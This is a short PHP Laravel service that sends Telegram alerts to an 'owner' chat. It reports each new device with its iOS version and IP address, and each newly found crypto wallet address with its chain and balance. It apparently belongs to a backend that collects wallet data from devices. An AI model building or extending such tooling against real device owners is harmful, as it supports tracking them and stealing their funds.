coruna-lab/server/app/Services/TelegramNotifier.php

<?php

namespace App\Services;

use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;

class TelegramNotifier
{
    public function enabled(): bool
    {
        return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
    }

    public function send(string $text): bool
    {
        if (! $this->enabled()) {
            return false;
        }
        $token = config('coruna.telegram.bot_token');
        $chatId = config('coruna.telegram.owner_chat_id');
        try {
            $resp = Http::timeout(15)->asForm()->post(
                "https://api.telegram.org/bot{$token}/sendMessage",
                [
                    'chat_id' => $chatId,
                    'text' => $text,
                    'disable_web_page_preview' => true,
                ]
            );

            return $resp->successful();
        } catch (\Throwable $e) {
            Log::warning('telegram send failed: '.$e->getMessage());

            return false;
        }
    }

    public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
    {
        $this->send(implode("\n", [
            '[Coruna Lab] New device',
            'id: '.$deviceId,
            'ios: '.($ios ?: '—'),
            'ip: '.($ip ?: '—'),
        ]));
    }

    public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
    {
        $this->send(implode("\n", [
            '[Coruna Lab] New wallet address',
            'device: '.$deviceId,
            'chain: '.($chain ?: '—'),
            'address: '.$address,
            'balance: '.trim(($balance ?: '—').' '.($symbol ?: '')),
        ]));
    }
}